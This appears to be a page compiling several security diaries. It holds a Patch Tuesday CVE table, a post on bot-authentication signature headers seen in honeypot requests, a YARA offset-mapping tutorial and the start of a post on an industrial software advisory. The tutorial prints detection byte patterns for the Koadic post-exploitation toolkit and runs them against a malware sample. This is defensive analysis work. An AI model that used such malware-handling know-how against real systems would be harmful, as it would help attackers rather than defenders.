blog.DidierStevens.com

As part of its September patch Tuesday, Microsoft addressed 177 different vulnerabilities, 86 of which affect Microsoft products. None of the vulnerabilities has been exploited before today. Two of the vulnerabilities were already made public. Microsoft rates 13 of the vulnerabilities are critical.

You will see a number of vulnerabilities without assigned severity. These vulnerabilities affect Linux distributions like Mariner, Microsoft's Linux distribution used in its cloud environments, and Azure Linux.

Vulnerabilities of Interest:

CVE-2025-54107, CVE-2025-54917: Microsoft assigns URLs to different security zones, like "Intranet" and "Internet". URLs may be misclassified. An attacker could use this vulnerability to bypass security features that restrict more risky URLs.

CVE-2025-55226, CVE-2025-55236: The description for these vulnerabilities is a bit odd. Microsoft labels them as "remote code execution" vulnerabilities, but states that they allow an "authorized attacker to execute code locally." I suspect that the remote part refers to a user unknowingly executing the code by viewing an image. The CVSS score is still low for a "critical" vulnerability.

Overall, there is no "patch now" vulnerability included. Apply patches in line with your local vulnerability management policy (hopefully before next month's patch Tuesday).

 

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
ACPI: pfr_update: Fix the driver update version check
%%cve:2025-39701%%	No	No	-	-	-
ALSA: usb-audio: Validate UAC3 power domain descriptors, too
%%cve:2025-38729%%	No	No	-	-	-	7.0	7.0
ASoC: core: Check for rtd == NULL in snd_soc_remove_pcm_runtime()
%%cve:2025-38706%%	No	No	-	-	-	4.7	4.7
Azure Arc Elevation of Privilege Vulnerability
%%cve:2025-55316%%	No	No	-	-	Important	7.8	6.8
Azure Bot Service Elevation of Privilege Vulnerability
%%cve:2025-55244%%	No	No	-	-	Critical	9.0	7.8
Azure Connected Machine Agent Elevation of Privilege Vulnerability
%%cve:2025-49692%%	No	No	-	-	Important	7.8	6.8
Azure Entra Elevation of Privilege Vulnerability
%%cve:2025-55241%%	No	No	-	-	Critical	9.0	7.8
Azure Networking Elevation of Privilege Vulnerability
%%cve:2025-54914%%	No	No	-	-	Critical	10.0	8.7
Capability Access Management Service (camsvc) Elevation of Privilege Vulnerability
%%cve:2025-54108%%	No	No	-	-	Important	7.0	6.1
DirectX Graphics Kernel Elevation of Privilege Vulnerability
%%cve:2025-55223%%	No	No	-	-	Important	7.0	6.1
Dynamics 365 FastTrack Implementation Assets Information Disclosure Vulnerability
%%cve:2025-55238%%	No	No	-	-	Critical	7.5	6.5
Glib: buffer under-read on glib through glib/gfileutils.c via get_tmp_file()
%%cve:2025-7039%%	No	No	-	-	-	3.7	3.7
Graphics Kernel Remote Code Execution Vulnerability
%%cve:2025-55226%%	No	No	-	-	Critical	6.7	5.8
%%cve:2025-55236%%	No	No	-	-	Critical	7.3	6.4
HTTP.sys Denial of Service Vulnerability
%%cve:2025-53805%%	No	No	-	-	Important	7.5	6.5
Libsoup: improper handling of http vary header in libsoup caching
%%cve:2025-9901%%	No	No	-	-	-	5.9	5.6
Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability
%%cve:2025-53809%%	No	No	-	-	Important	6.5	5.7
Local Security Authority Subsystem Service Elevation of Privilege Vulnerability
%%cve:2025-54894%%	No	No	-	-	Important	7.8	6.8
LoongArch: BPF: Fix jump offset calculation in tailcall
%%cve:2025-38723%%	No	No	-	-	-	5.5	5.5
MIPS: Don't crash in stack_top() for tasks without ABI or vDSO
%%cve:2025-38696%%	No	No	-	-	-	5.5	5.5
MapUrlToZone Security Feature Bypass Vulnerability
%%cve:2025-54107%%	No	No	-	-	Important	4.3	3.8
%%cve:2025-54917%%	No	No	-	-	Important	4.3	3.8
Microsoft AutoUpdate (MAU) Elevation of Privilege Vulnerability
%%cve:2025-55317%%	No	No	-	-	Important	7.8	6.8
Microsoft Brokering File System Elevation of Privilege Vulnerability
%%cve:2025-54105%%	No	No	-	-	Important	7.0	6.1
Microsoft DWM Core Library Elevation of Privilege Vulnerability
%%cve:2025-53801%%	No	No	-	-	Important	7.8	6.8
Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability
%%cve:2025-53791%%	No	No	-	-	Moderate	4.7	4.1
Microsoft Excel Information Disclosure Vulnerability
%%cve:2025-54901%%	No	No	-	-	Important	5.5	4.8
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2025-54896%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-54898%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-54899%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-54902%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-54903%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-54904%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-54900%%	No	No	-	-	Important	7.8	6.8
Microsoft High Performance Compute (HPC) Pack Remote Code Execution Vulnerability
%%cve:2025-55232%%	No	No	-	-	Important	9.8	8.5
Microsoft Office Remote Code Execution Vulnerability
%%cve:2025-54906%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-54910%%	No	No	-	-	Critical	8.4	7.3
Microsoft Office Visio Remote Code Execution Vulnerability
%%cve:2025-54907%%	No	No	-	-	Important	7.8	6.8
Microsoft OfficePlus Spoofing Vulnerability
%%cve:2025-55243%%	No	No	-	-	Important	7.5	6.5
Microsoft PowerPoint Remote Code Execution Vulnerability
%%cve:2025-54908%%	No	No	-	-	Important	7.8	6.8
Microsoft SQL Server Elevation of Privilege Vulnerability
%%cve:2025-55227%%	No	No	-	-	Important	8.8	7.7
Microsoft SQL Server Information Disclosure Vulnerability
%%cve:2025-47997%%	No	No	-	-	Important	6.5	5.7
Microsoft SharePoint Remote Code Execution Vulnerability
%%cve:2025-54897%%	No	No	-	-	Important	8.8	7.7
Microsoft Virtual Hard Disk Elevation of Privilege Vulnerability
%%cve:2025-54112%%	No	No	-	-	Important	7.0	6.1
Microsoft Word Information Disclosure Vulnerability
%%cve:2025-54905%%	No	No	-	-	Important	7.1	6.2
NFS: Fix a race when updating an existing write
%%cve:2025-39697%%	No	No	-	-	-	5.5	5.5
NFS: Fix filehandle bounds checking in nfs_fh_to_dentry()
%%cve:2025-39730%%	No	No	-	-	-	7.5	7.5
Podman: podman kube play command may overwrite host files
%%cve:2025-9566%%	No	No	-	-	-	8.1	8.1
PowerShell Direct Elevation of Privilege Vulnerability
%%cve:2025-49734%%	No	No	-	-	Important	7.0	6.1
SPNEGO Extended Negotiation (NEGOEX) Security Mechanism Elevation of Privilege Vulnerability
%%cve:2025-54895%%	No	No	-	-	Important	7.8	6.8
VulnCheck: CVE-2024-21907 Improper Handling of Exceptional Conditions in Newtonsoft.Json
%%cve:2024-21907%%	Yes	No	-	-	-
Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
%%cve:2025-54099%%	No	No	-	-	Important	7.0	6.1
Windows BitLocker Elevation of Privilege Vulnerability
%%cve:2025-54911%%	No	No	-	-	Important	7.3	6.4
%%cve:2025-54912%%	No	No	-	-	Important	7.8	6.8
Windows Bluetooth Service Elevation of Privilege Vulnerability
%%cve:2025-53802%%	No	No	-	-	Important	7.0	6.1
Windows Connected Devices Platform Service (Cdpsvc) Denial of Service Vulnerability
%%cve:2025-54114%%	No	No	-	-	Important	7.0	6.1
Windows Connected Devices Platform Service Elevation of Privilege Vulnerability
%%cve:2025-54102%%	No	No	-	-	Important	7.8	6.8
Windows Defender Firewall Service Elevation of Privilege Vulnerability
%%cve:2025-53808%%	No	No	-	-	Important	6.7	5.8
%%cve:2025-53810%%	No	No	-	-	Important	6.7	5.8
%%cve:2025-54094%%	No	No	-	-	Important	6.7	5.8
%%cve:2025-54104%%	No	No	-	-	Important	6.7	5.8
%%cve:2025-54109%%	No	No	-	-	Important	6.7	5.8
%%cve:2025-54915%%	No	No	-	-	Important	6.7	5.8
Windows Graphics Component Elevation of Privilege Vulnerability
%%cve:2025-53800%%	No	No	-	-	Critical	7.8	6.8
%%cve:2025-53807%%	No	No	-	-	Important	7.0	6.1
Windows Graphics Component Remote Code Execution Vulnerability
%%cve:2025-54919%%	No	No	-	-	Important	7.5	6.5
%%cve:2025-55228%%	No	No	-	-	Critical	7.8	6.8
Windows Hyper-V Elevation of Privilege Vulnerability
%%cve:2025-54091%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-54092%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-54098%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-54115%%	No	No	-	-	Important	7.0	6.1
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2025-55224%%	No	No	-	-	Critical	7.8	6.8
Windows Imaging Component Information Disclosure Vulnerability
%%cve:2025-53799%%	No	No	-	-	Critical	5.5	4.8
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2025-54110%%	No	No	-	-	Important	8.8	7.7
Windows Kernel Memory Information Disclosure Vulnerability
%%cve:2025-53803%%	No	No	-	-	Important	5.5	4.8
Windows Kernel-Mode Driver Information Disclosure Vulnerability
%%cve:2025-53804%%	No	No	-	-	Important	5.5	4.8
Windows Management Service Elevation of Privilege Vulnerability
%%cve:2025-54103%%	No	No	-	-	Important	7.4	6.4
Windows MultiPoint Services Elevation of Privilege Vulnerability
%%cve:2025-54116%%	No	No	-	-	Important	7.3	6.4
Windows NTFS Remote Code Execution Vulnerability
%%cve:2025-54916%%	No	No	-	-	Important	7.8	6.8
Windows NTLM Elevation of Privilege Vulnerability
%%cve:2025-54918%%	No	No	-	-	Critical	8.8	7.7
Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability
%%cve:2025-53797%%	No	No	-	-	Important	6.5	5.7
%%cve:2025-53798%%	No	No	-	-	Important	6.5	5.7
%%cve:2025-54095%%	No	No	-	-	Important	6.5	5.7
%%cve:2025-54096%%	No	No	-	-	Important	6.5	5.7
%%cve:2025-54097%%	No	No	-	-	Important	6.5	5.7
%%cve:2025-55225%%	No	No	-	-	Important	6.5	5.7
%%cve:2025-53796%%	No	No	-	-	Important	6.5	5.7
%%cve:2025-53806%%	No	No	-	-	Important	6.5	5.7
Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability
%%cve:2025-54106%%	No	No	-	-	Important	8.8	7.7
%%cve:2025-54113%%	No	No	-	-	Important	8.8	7.7
Windows SMB Client Remote Code Execution Vulnerability
%%cve:2025-54101%%	No	No	-	-	Important	4.8	4.2
Windows SMB Elevation of Privilege Vulnerability
%%cve:2025-55234%%	Yes	No	-	-	Important	8.8	7.7
Windows TCP/IP Driver Elevation of Privilege Vulnerability
%%cve:2025-54093%%	No	No	-	-	Important	7.0	6.1
Windows UI XAML Maps MapControlSettings Elevation of Privilege Vulnerability
%%cve:2025-54913%%	No	No	-	-	Important	7.8	6.8
Windows UI XAML Phone DatePickerFlyout Elevation of Privilege Vulnerability
%%cve:2025-54111%%	No	No	-	-	Important	7.8	6.8
Xbox Certification Bug Copilot Djando Information Disclosure Vulnerability
%%cve:2025-55242%%	No	No	-	-	Critical	6.5	5.7
Xbox Gaming Services Elevation of Privilege Vulnerability
%%cve:2025-55245%%	No	No	-	-	Important	7.8	6.8
cJSON 1.5.0 through 1.7.18 allows out-of-bounds access via the decode_array_index_from_pointer function in cJSON_Utils.c, allowing remote attackers to bypass array bounds checking and access restricted data via malformed JSON pointer strings containing alphanumeric characters.
%%cve:2025-57052%%	No	No	-	-	-	9.8	9.8
comedi: Fix use of uninitialized memory in do_insn_ioctl() and do_insnlist_ioctl()
%%cve:2025-39684%%	No	No	-	-	-	5.5	5.5
comedi: Make insn_rw_emulate_bits() do insn->n samples
%%cve:2025-39686%%	No	No	-	-	-	5.5	5.5
comedi: fix race between polling and detaching
%%cve:2025-38687%%	No	No	-	-	-	5.5	5.5
comedi: pcl726: Prevent invalid irq number
%%cve:2025-39685%%	No	No	-	-	-	5.5	5.5
crypto: qat - flush misc workqueue during device shutdown
%%cve:2025-39721%%	No	No	-	-	-	7.0	7.0
drbd: add missing kref_get in handle_write_conflicts
%%cve:2025-38708%%	No	No	-	-	-	6.3	6.3
drm/amd/display: Add null pointer check in mod_hdcp_hdcp1_create_session()
%%cve:2025-39675%%	No	No	-	-	-	5.5	5.5
drm/amd/display: Avoid a NULL pointer dereference
%%cve:2025-39693%%	No	No	-	-	-	5.5	5.5
drm/amd/display: fix a Null pointer dereference vulnerability
%%cve:2025-39705%%	No	No	-	-	-	5.5	5.5
drm/amd/pm: fix null pointer access
%%cve:2025-38705%%	No	No	-	-	-	5.5	5.5
drm/amdgpu: check if hubbub is NULL in debugfs/amdgpu_dm_capabilities
%%cve:2025-39707%%	No	No	-	-	-	5.5	5.5
drm/amdkfd: Destroy KFD debugfs after destroy KFD wq
%%cve:2025-39706%%	No	No	-	-	-	5.5	5.5
drm/nouveau/nvif: Fix potential memory leak in nvif_vmm_ctor().
%%cve:2025-39679%%	No	No	-	-	-	5.5	5.5
drm/xe: Make dma-fences compliant with the safe access rules
%%cve:2025-38703%%	No	No	-	-	-	7.8	7.8
exfat: add cluster chain loop check for dir
%%cve:2025-38692%%	No	No	-	-	-	7.0	7.0
ext4: do not BUG when INLINE_DATA_FL lacks system.data xattr
%%cve:2025-38701%%	No	No	-	-	-	7.0	6.4
f2fs: vm_unmap_ram() may be called from an invalid context
%%cve:2025-39731%%	No	No	-	-	-	5.5	5.5
fbdev: Fix vmalloc out-of-bounds write in fast_imageblit
%%cve:2025-38685%%	No	No	-	-	-	7.8	7.8
fbdev: fix potential buffer overflow in do_register_framebuffer()
%%cve:2025-38702%%	No	No	-	-	-	7.8	7.1
fs/buffer: fix use-after-free when call bh_read() helper
%%cve:2025-39691%%	No	No	-	-	-	7.1	7.1
fs/ntfs3: Add sanity check for file name
%%cve:2025-38707%%	No	No	-	-	-	5.5	5.5
ftrace: Also allocate and copy hash for reading of filter files
%%cve:2025-39689%%	No	No	-	-	-	7.1	6.5
gfs2: Validate i_depth for exhash directories
%%cve:2025-38710%%	No	No	-	-	-	7.0	6.4
gve: prevent ethtool ops after shutdown
%%cve:2025-38735%%	No	No	-	-	-	7.0	7.0
habanalabs: fix UAF in export_dmabuf()
%%cve:2025-38722%%	No	No	-	-	-	5.5	5.5
hfs: fix general protection fault in hfs_find_init()
%%cve:2025-38716%%	No	No	-	-	-	5.5	5.5
hfs: fix slab-out-of-bounds in hfs_bnode_read()
%%cve:2025-38715%%	No	No	-	-	-	5.5	5.5
hfsplus: don't use BUG_ON() in hfsplus_create_attributes_file()
%%cve:2025-38712%%	No	No	-	-	-	5.5	5.5
hfsplus: fix slab-out-of-bounds in hfsplus_bnode_read()
%%cve:2025-38714%%	No	No	-	-	-	9.0	8.2
hfsplus: fix slab-out-of-bounds read in hfsplus_uni2asc()
%%cve:2025-38713%%	No	No	-	-	-	6.1	6.1
iio: imu: bno055: fix OOB access of hw_xlate array
%%cve:2025-39719%%	No	No	-	-	-	5.5	5.5
iio: light: as73211: Ensure buffer holes are zeroed
%%cve:2025-39687%%	No	No	-	-	-	5.5	5.5
io_uring/net: commit partial buffers on retry
%%cve:2025-38730%%	No	No	-	-	-	5.5	5.5
iommufd: Prevent ALIGN() overflow
%%cve:2025-38688%%	No	No	-	-	-	7.1	7.1
ipv6: sr: Fix MAC comparison to be constant-time
%%cve:2025-39702%%	No	No	-	-	-	7.1	7.1
jfs: Regular file corruption check
%%cve:2025-38698%%	No	No	-	-	-	7.1	6.5
jfs: upper bound check of tree index in dbAllocAG
%%cve:2025-38697%%	No	No	-	-	-	7.1	7.1
ksmbd: fix refcount leak causing resource not released
%%cve:2025-39720%%	No	No	-	-	-	5.5	5.5
loop: Avoid updating block size under exclusive owner
%%cve:2025-38709%%	No	No	-	-	-	7.0	6.4
media: ivsc: Fix crash at shutdown due to missing mei_cldev_disable() calls
%%cve:2025-39711%%	No	No	-	-	-	7.0	7.0
media: rainshadow-cec: fix TOCTOU race condition in rain_interrupt()
%%cve:2025-39713%%	No	No	-	-	-	7.0	7.0
media: usbtv: Lock resolution while streaming
%%cve:2025-39714%%	No	No	-	-	-	5.5	5.5
media: uvcvideo: Fix 1-byte out-of-bounds read in uvc_parse_format()
%%cve:2025-38680%%	No	No	-	-	-	3.3	3.3
media: venus: Add a check for packet size after reading from shared memory
%%cve:2025-39710%%	No	No	-	-	-
media: venus: Fix OOB read due to missing payload bound check
%%cve:2025-38679%%	No	No	-	-	-	5.5	5.5
media: venus: protect against spurious interrupts during probe
%%cve:2025-39709%%	No	No	-	-	-	5.5	5.5
mm/ptdump: take the memory hotplug lock inside ptdump_walk_pgd()
%%cve:2025-38681%%	No	No	-	-	-	5.5	5.5
net, hsr: reject HSR frame if skb can't hold tag
%%cve:2025-39703%%	No	No	-	-	-	7.0	6.4
net/sched: Fix backlog accounting in qdisc_dequeue_internal
%%cve:2025-39677%%	No	No	-	-	-	7.0	6.4
net/sched: ets: use old 'nbands' while purging unused classes
%%cve:2025-38684%%	No	No	-	-	-	7.0	7.0
net/smc: fix UAF on smcsk after smc_listen_out()
%%cve:2025-38734%%	No	No	-	-	-	5.5	5.5
net: kcm: Fix race condition in kcm_unattach()
%%cve:2025-38717%%	No	No	-	-	-	5.5	5.5
net: usb: asix_devices: Fix PHY address mask in MDIO bus initialization
%%cve:2025-38736%%	No	No	-	-	-	5.5	5.5
net: usb: asix_devices: add phy_mask for ax88772 mdio bus
%%cve:2025-38725%%	No	No	-	-	-	5.5	5.5
netfilter: ctnetlink: fix refcount leak on table dump
%%cve:2025-38721%%	No	No	-	-	-	5.5	5.5
netfilter: nf_reject: don't leak dst refcount for loopback packets
%%cve:2025-38732%%	No	No	-	-	-	7.0	7.0
netfilter: nf_tables: reject duplicate device on updates
%%cve:2025-38678%%	No	No	-	-	-	6.0	6.0
nfsd: handle get_client_locked() failure in nfsd4_setclientid_confirm()
%%cve:2025-38724%%	No	No	-	-	-	6.8	6.8
pNFS: Fix uninited ptr deref in block/scsi layout
%%cve:2025-38691%%	No	No	-	-	-	5.5	5.5
parisc: Revise __get_user() to probe user read access
%%cve:2025-39716%%	No	No	-	-	-	5.5	5.5
parisc: Revise gateway LWS calls to probe user read access
%%cve:2025-39715%%	No	No	-	-	-	5.5	5.5
ppp: fix race conditions in ppp_fill_forward_path
%%cve:2025-39673%%	No	No	-	-	-	7.0	7.0
rcu/nocb: Fix possible invalid rdp's->nocb_cb_kthread pointer access
%%cve:2025-38704%%	No	No	-	-	-	5.5	5.5
s390/ism: fix concurrency management in ism_cmd()
%%cve:2025-39726%%	No	No	-	-	-	5.5	5.5
s390/sclp: Fix SCCB present check
%%cve:2025-39694%%	No	No	-	-	-	7.0	7.0
scsi: bfa: Double-free fix
%%cve:2025-38699%%	No	No	-	-	-	7.8	7.8
scsi: libiscsi: Initialize iscsi_conn->dd_data only if memory is allocated
%%cve:2025-38700%%	No	No	-	-	-	4.7	4.7
scsi: lpfc: Check for hdwq null ptr when cleaning up lpfc_vport structure
%%cve:2025-38695%%	No	No	-	-	-	7.0	6.4
scsi: qla4xxx: Prevent a potential error pointer dereference
%%cve:2025-39676%%	No	No	-	-	-	5.5	5.5
sctp: linearize cloned gso packets in sctp_rcv
%%cve:2025-38718%%	No	No	-	-	-	7.0	6.4
serial: 8250: fix panic due to PSLVERR
%%cve:2025-39724%%	No	No	-	-	-	5.5	5.5
smb/server: avoid deadlock when linking with ReplaceIfExists
%%cve:2025-38711%%	No	No	-	-	-	5.5	5.5
smb3: fix for slab out of bounds on mount to ksmbd
%%cve:2025-38728%%	No	No	-	-	-	5.5	5.5
smb: server: split ksmbd_rdma_stop_listening() out of ksmbd_rdma_destroy()
%%cve:2025-39692%%	No	No	-	-	-	5.5	5.5
tls: fix handling of zero-length records on the rx_list
%%cve:2025-39682%%	No	No	-	-	-	6.5	6.5
tracing: Limit access to parser->buffer when trace_get_user failed
%%cve:2025-39683%%	No	No	-	-	-	7.1	7.1
vsock/virtio: Validate length in packet header before skb_put()
%%cve:2025-39718%%	No	No	-	-	-	5.5	5.5
wifi: ath11k: fix sleeping-in-atomic in ath11k_mac_op_set_bitrate_mask()
%%cve:2025-39732%%	No	No	-	-	-	7.0	7.0
x86/cpu/hygon: Add missing resctrl_cpu_detect() in bsp_init helper
%%cve:2025-39681%%	No	No	-	-	-	5.5	5.5

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

This weekend, I noticed three related headers being used in requests to some of our honeypots for the first time [1]:

• Signature-Input
• Signature-Agent
• Signature

These headers are related to a relatively new feature, HTTP Message Signatures, which was standardized in RFC 9421 in February last year [2].

First, what is the problem that HTTP Request Signatures attempt to solve? According to the RFC, there are quite a few problems. However, the main use case appears to be authenticating bots. Most well-behaved bots add specific user agents. Like, for example, "Googlebot", to identify requests originating from the bot.

On the other hand, users have long figured out that setting your user agent to "Googlebot" may get you past some paywalls. To counter this, Google ensured that its IP addresses reverse-resolve to "googlebot.com" hostnames. This may work for a large organization like Google, but in modern architectures, the client IP address is often lost in the proxy bucket brigade, or if it is present, may not be communicated in a trustworthy manner.

HTTP Request Signatures are supposed to fix that.

Here is an example request received by one of our honeypots:

GET / HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 (compatible; SitesOverPagesBot/1.0; +https://sitesoverpages.com/bot)
Signature-Agent: "https://www.sitesoverpages.com/.well-known/http-message-signatures-directory"
Signature-Input: sig1=("@authority" "signature-agent");created=1757301130;keyid="xqKvFlGdMZzhV2MwO6-HkYRqOeN3LCji2Srt1MkJN50";alg="ed25519";expires=1757301430;nonce="9x4l0vMMtKW1-9NOvR54NEpru2wCE-aLk0w3RoVp0oI";tag="web-bot-auth"
Signature: sig1=:EMJxWyWvkB136cU27jANCpbWz2bsK7mvaxcC56lRtVmsI6ngTo6K4saml+71n3GYMzTjCbaENyaJ6581VbfRBg==:
Accept: */*
Accept-Endogin: gzip, deflate

The "Signature-Agent" defines a URL to retrieve the public keys. In our case, the URL returns:

{
  "keys": [
    {
      "kty": "OKP",
      "crv": "Ed25519",
      "x": "Ypbt4rAoxgKaJdTaT-O65MN1Hq4JL57wTGJiOrpaFUA"
    }
  ]
}

A JSON-formatted document with the key, a key type ("Octet Key Pair", typical for EC Keys), an Ed25519 curve ("crv"), and the actual key ("x").

Next, the Signature-Input header defines a signature label ("sig1") and lists all the fields included in the signature. Only the host name ("Authority") and the Signature-Agent header are signed. Next, it lists the created and "expires" time, the "keyid" and algorithm used, as well as a nonce and the purpose of the key (web-bot-auth).

Finally, the signature value is included in the "Signature" header.

A server may retrieve the keys for any bots it trusts and only allow bots with valid signatures to send requests. Cloudflare offers some integration [3] and Zuplo, which also has a good primer at [4].

[1] https://isc.sans.edu/weblogs/allheaders.html
[2] https://www.rfc-editor.org/rfc/rfc9421.html
[3] https://developers.cloudflare.com/bots/reference/bot-verification/web-bot-auth/
[4] https://zuplo.com/blog/identify-ai-agents-with-http-message-signatures

 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

YARA is an excellent tool that most of you probably already know and use daily. If you don't, search on isc.sans.edu, we have a bunch of diaries about it[1]. YARA is very powerful because you can search for arrays of bytes that represent executable code. In this case, you provide the hexadecimal representation of the binary machine code.

Example:

$sequence_0 = { 42 895114 e8???????? 8901 833900 7407 8b01 }
    // n = 7, score = 100
    //   42                   | inc                 edx
    //   895114               | mov                 dword ptr [ecx + 0x14], edx
    //   e8????????           |                     
    //   8901                 | mov                 dword ptr [ecx], eax
    //   833900               | cmp                 dword ptr [ecx], 0
    //   7407                 | je                  9
    //   8b01                 | mov                 eax, dword ptr [ecx]

(This example of coming from win.koadic_auto.yar[2])

When you launch YARA rules against a file, the tool will notify you if there is a match (read: the array of bytes has been found). If you add the command line switch "-s", YARA will show you the file offset where it was detected:

remnux@remnux:/malwarezoo/20250905$ yara -s win.koadic_auto.yar sample.exe 
win_koadic_auto sample.exe
0xc1b6:$sequence_0: 42 89 51 14 E8 A9 FF FF FF 89 01 83 39 00 74 07 8B 01
0xec0a:$sequence_2: 83 C2 01 89 55 F8 8B 45 08 0F B6 48 01 81 E1 C0 00 00 00 81 F9 80 00 00 00
0xec95:$sequence_2: 83 C2 01 89 55 F8 8B 45 08 0F B6 48 01 81 E1 C0 00 00 00 81 F9 80 00 00 00
0x5262:$sequence_3: 52 8B 14 01 52 FF 15 0C 3B 41 00 85 C0 0F 8E 08 01 00 00 8B 0F
0x4439:$sequence_4: 89 48 04 5B 83 C4 0C C3 0F 8E D6 00 00 00 8B C7 99
0x4579:$sequence_4: 89 48 04 5B 83 C4 0C C3 0F 8E D6 00 00 00 8B C7 99
0x46b9:$sequence_4: 89 48 04 5B 83 C4 0C C3 0F 8E D6 00 00 00 8B C7 99
0x47f9:$sequence_4: 89 48 04 5B 83 C4 0C C3 0F 8E D6 00 00 00 8B C7 99
0x53d9:$sequence_4: 89 48 04 5B 83 C4 0C C3 0F 8E D6 00 00 00 8B C7 99
0x5519:$sequence_4: 89 48 04 5B 83 C4 0C C3 0F 8E D6 00 00 00 8B C7 99
0xe8c6:$sequence_5: E8 95 04 00 00 8B 4C 24 10 5F C6 04 0E 00 5E 59
0x24a0:$sequence_7: 3B 44 24 04 7C 54 FF 74 24 04 8B 6C 24 20
0x76ba:$sequence_8: 57 8D 45 F8 50 56 53 FF 75 0C FF 15 CC 27 41 00
0x8cf6:$sequence_9: FF 15 58 28 41 00 8B F8 8D 5F 01 53 6A 00

Good news! We have a match. We can verify that the offset is related to the raw file. Let's take the example of $sequence0:

remnux@remnux:/malwarezoo/20250905$ cut-bytes.py -x 0xc1b6: sample.exe |head -5
42 89 51 14 E8 A9 FF FF FF 89 01 83 39 00 74 07
8B 01 83 C0 08 EB 02 33 C0 C2 04 00 55 8B EC 51
56 8B 75 08 33 C0 85 F6 74 69 39 45 0C 74 64 83
7D 10 00 8B 06 89 45 08 8B 46 14 89 45 FC 74 08
FF 75 0C E8 28 01 00 00 57 56 E8 E0 FE FF FF EB

What if we would like to find this piece of code in a debugger or a disassembler to continue our investigations? Is this piece of code relevant to our investigations?

First, let's take a few minutes to discuss the PE (Portable Executable) format. An executable contains sections (the well-known .text, .data, .rdata, ...) that contain the data used by the program. The more interesting one is usually .text that contains the executable code. In the PE headers, all sections are referenced by their offset and size:

remnux@remnux:/malwarezoo/20250905$ python3
Python 3.8.10 (default, Jun 22 2022, 20:18:18) 
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pefile
>>> pe = pefile.PE("sample.exe", fast_load=True)
>>> for s in pe.sections:
...     name = s.Name.rstrip(b"\x00").decode(errors="replace")
...     raw_off = s.PointerToRawData
...     raw_sz  = s.SizeOfRawData
...     va     = s.VirtualAddress
...     print(f"{name}\t{raw_off}\t{raw_sz}\t{va}")
... 
.code    1024    13312    4096
.text    14336    47104    20480
.rdata    61440    2560    69632
.data    64000    5632    73728
.rsrc    69632    34816    81920
>>> 

To map the YARA offset to the correct location in the program, we need to perform some actions:

1. Identify the correct section (that contains the array of bytes). For each section, test this:

section_raw_off <= yara_offset < section_raw_off + section_raw_sz

2. Convert the YARA offset to the RVA ("Relative Virtual Address"):

rva = (yara_offset - section_raw_off) + section_va

3. Convert the RVA to the VA based on the ImageBase found in the PE headers:

va = ImageBase + rva

Let's create a small script to perform these operations and parse the YARA output (disclaimer: some pieces of the code have been generated with ChatGPT):

remnux@remnux:/malwarezoo/20250905$ yara -s win.koadic_auto.yar sample.exe | ./map_va.py 
File        Rule             String ID    File Offset  Section  RVA      VA        Note
----------  ---------------  -----------  -----------  -------  -------  --------  ----
sample.exe  win_koadic_auto  $sequence_0  0xC1B6       .text    0xD9B6   0x40D9B6      
sample.exe  win_koadic_auto  $sequence_2  0xEC0A       .text    0x1040A  0x41040A      
sample.exe  win_koadic_auto  $sequence_2  0xEC95       .text    0x10495  0x410495      
sample.exe  win_koadic_auto  $sequence_3  0x5262       .text    0x6A62   0x406A62      
sample.exe  win_koadic_auto  $sequence_4  0x4439       .text    0x5C39   0x405C39      
sample.exe  win_koadic_auto  $sequence_4  0x4579       .text    0x5D79   0x405D79      
sample.exe  win_koadic_auto  $sequence_4  0x46B9       .text    0x5EB9   0x405EB9      
sample.exe  win_koadic_auto  $sequence_4  0x47F9       .text    0x5FF9   0x405FF9      
sample.exe  win_koadic_auto  $sequence_4  0x53D9       .text    0x6BD9   0x406BD9      
sample.exe  win_koadic_auto  $sequence_4  0x5519       .text    0x6D19   0x406D19      
sample.exe  win_koadic_auto  $sequence_5  0xE8C6       .text    0x100C6  0x4100C6      
sample.exe  win_koadic_auto  $sequence_7  0x24A0       .code    0x30A0   0x4030A0      
sample.exe  win_koadic_auto  $sequence_8  0x76BA       .text    0x8EBA   0x408EBA      
sample.exe  win_koadic_auto  $sequence_9  0x8CF6       .text    0xA4F6   0x40A4F6      

Let's search for the $sequence0 in our disassembler:

Now, you can debug the program around this piece of code and validate if it's really malicious or not!

The script is available on my GitHub repository[3].

[1] https://isc.sans.edu/search.html?q=yara&token=&Search=Search
[2] https://raw.githubusercontent.com/malpedia/signator-rules/main/rules/win.koadic_auto.yar
[3] https://github.com/xme/SANS-ISC/blob/master/map_va.py

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

When I am thinking about the security of manufacturing environments, I am usually focusing on IoT devices integrated into production lines. All the little sensors and actuators are often very difficult to secure. On the other hand, there is also "big software" that is used to manage manufacturing. One example is DELMIA Apriso by Dassault Systèmes. This type of Manufacturing Operation Management (MOM) or Manufacturing Execution System (MES) ties everything together and promises to connect factory floors to ERP systems. 

But complex systems like this have bugs, too. In June, Dassault Systèmes published an advisory regarding a vulnerability in DELMIA Apriso [1]. The advisory is rather short and states:

A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.

